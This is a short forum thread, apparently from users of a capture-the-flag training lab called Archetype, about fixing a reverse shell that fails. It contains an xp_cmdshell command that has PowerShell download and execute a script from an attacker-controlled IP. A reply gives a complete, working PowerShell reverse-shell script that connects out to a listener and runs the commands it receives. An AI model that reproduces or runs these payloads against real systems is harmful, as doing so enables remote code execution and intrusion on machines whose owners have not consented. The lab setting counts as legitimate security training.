ARCETYPE - Reverse shell error

It seems the reverse shell throws some errors. I cant quite figure out why. I did a copy from the pdf and changed the IP to match what I was assigned and it dumps this:

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.152:88/shell.ps1");"
output

Did I mess up something at a point ?

Hi, I’m having the exact same issue - did you resolve it?

Found the issue, for anyone having the same problem, if you copy/paste the powershell command directly, it has errors, you need to reformat before saving:

$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.48”,443);
$stream = $client.GetStream();
[byte[]]$bytes = 0…65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
